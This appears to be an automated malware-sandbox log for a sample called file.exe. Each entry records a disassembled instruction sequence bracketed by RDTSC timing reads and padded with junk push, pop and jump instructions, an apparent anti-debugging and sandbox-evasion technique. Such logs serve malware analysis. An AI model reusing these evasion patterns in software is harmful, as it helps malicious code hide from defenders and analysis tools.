Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791E0B second address: 791E10 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 791E10 second address: 791E19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 795D8F second address: 795D94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 795592 second address: 79559C instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCA94C93E36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79559C second address: 7955A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7955A2 second address: 7955C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FCA94C93E3Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 je 00007FCA94C93E36h 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7955C3 second address: 7955C8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7955C8 second address: 7955DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jl 00007FCA94C93E42h 0x0000000b ja 00007FCA94C93E36h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7465C5 second address: 7465CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FCA94618466h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A575 second address: 79A593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FCA94C93E3Fh 0x0000000b jp 00007FCA94C93E36h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79EC70 second address: 79EC76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79EC76 second address: 79EC7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A14E8 second address: 7A14ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A73F6 second address: 7A73FB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A73FB second address: 7A740F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jo 00007FCA94618472h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A740F second address: 7A7415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7415 second address: 7A7448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA94618473h 0x00000009 jmp 00007FCA94618476h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7448 second address: 7A744C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A744C second address: 7A7452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A797B second address: 7A7993 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA94C93E3Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7993 second address: 7A79B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push ecx 0x00000007 js 00007FCA94618468h 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FCA9461846Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7EC5 second address: 7A7EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A81EA second address: 7A8208 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA94618474h 0x00000007 jng 00007FCA94618466h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8208 second address: 7A8213 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jp 00007FCA94C93E36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A84CC second address: 7A84DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FCA94618466h 0x00000009 push edx 0x0000000a pop edx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push ecx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A87D0 second address: 7A87D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A87D4 second address: 7A87E3 instructions: 0x00000000 rdtsc 0x00000002 je 00007FCA94618466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8DBE second address: 7A8DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8DC2 second address: 7A8DC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A909E second address: 7A90A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A90A2 second address: 7A90A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AC279 second address: 7AC27D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AC27D second address: 7AC291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jno 00007FCA9461846Ch 0x0000000e jg 00007FCA94618466h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AC811 second address: 7AC817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AC817 second address: 7AC81B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9B1B second address: 7B9B24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9B24 second address: 7B9B2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9B2A second address: 7B9B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9B2E second address: 7B9B32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9B32 second address: 7B9B55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jg 00007FCA94C93E36h 0x0000000f pop ecx 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 jp 00007FCA94C93E36h 0x0000001a pop edx 0x0000001b je 00007FCA94C93E3Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9B55 second address: 7B9B59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B7BA6 second address: 7B7BB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCA94C93E3Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B7BB7 second address: 7B7BBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B7BBB second address: 7B7BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FCA94C93E3Eh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FCA94C93E48h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B7BED second address: 7B7C02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCA9461846Bh 0x00000009 jnl 00007FCA94618466h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B7C02 second address: 7B7C06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8078 second address: 7B8098 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FCA94618475h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8098 second address: 7B80B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA94C93E44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B80B0 second address: 7B80B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8347 second address: 7B834B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B834B second address: 7B8364 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA94618475h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8364 second address: 7B8381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FCA94C93E3Ah 0x0000000d jmp 00007FCA94C93E3Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8381 second address: 7B83AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FCA9461846Ch 0x0000000e jl 00007FCA94618466h 0x00000014 popad 0x00000015 push ebx 0x00000016 jmp 00007FCA94618473h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B83AE second address: 7B83B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B83B4 second address: 7B83B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9960 second address: 7B998C instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCA94C93E3Ch 0x00000008 jl 00007FCA94C93E52h 0x0000000e jmp 00007FCA94C93E46h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B7742 second address: 7B7771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edi 0x0000000b jne 00007FCA94618477h 0x00000011 jmp 00007FCA94618471h 0x00000016 js 00007FCA9461846Ah 0x0000001c push eax 0x0000001d pop eax 0x0000001e pushad 0x0000001f popad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD94C second address: 7BD952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD952 second address: 7BD95B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD95B second address: 7BD961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD961 second address: 7BD98B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FCA94618475h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FCA9461846Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2815 second address: 7C2819 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2819 second address: 7C282E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007FCA94618468h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C282E second address: 7C2847 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA94C93E41h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C2847 second address: 7C284B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C284B second address: 7C284F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C284F second address: 7C2855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D2096 second address: 7D20C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA94C93E3Dh 0x00000009 jmp 00007FCA94C93E3Dh 0x0000000e popad 0x0000000f pop ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007FCA94C93E36h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D20C1 second address: 7D20C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D20C5 second address: 7D20DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jno 00007FCA94C93E36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FCA94C93E3Bh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1C16 second address: 7D1C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FCA94618466h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1C20 second address: 7D1C24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1C24 second address: 7D1C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1C30 second address: 7D1C49 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCA94C93E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007FCA94C93E36h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1C49 second address: 7D1C58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA9461846Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1C58 second address: 7D1C77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA94C93E45h 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FCA94C93E36h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1C77 second address: 7D1C7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1DBD second address: 7D1DD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jne 00007FCA94C93E3Ch 0x0000000b jnp 00007FCA94C93E36h 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5C19 second address: 7D5C1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5C1F second address: 7D5C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FCA94C93E47h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5C40 second address: 7D5C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5C47 second address: 7D5C53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 je 00007FCA94C93E36h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5C53 second address: 7D5C57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D7F83 second address: 7D7F8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D7F8F second address: 7D7F93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D80D6 second address: 7D80F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007FCA94C93E43h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D80F4 second address: 7D80FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FCA94618466h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5DC2 second address: 7E5DCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FCA94C93E36h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5DCF second address: 7E5DD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEB54 second address: 7EEB58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED39E second address: 7ED3B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA94618470h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED3B2 second address: 7ED3F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA94C93E48h 0x00000007 jmp 00007FCA94C93E48h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jc 00007FCA94C93E42h 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED57D second address: 7ED58C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FCA94618466h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED58C second address: 7ED590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED590 second address: 7ED59C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007FCA94618466h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED59C second address: 7ED5AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA94C93E3Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED9E3 second address: 7ED9ED instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FCA94618466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDB39 second address: 7EDB3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDCDD second address: 7EDCE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDCE2 second address: 7EDD19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA94C93E49h 0x00000007 push eax 0x00000008 jmp 00007FCA94C93E42h 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDD19 second address: 7EDD1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDD1F second address: 7EDD25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
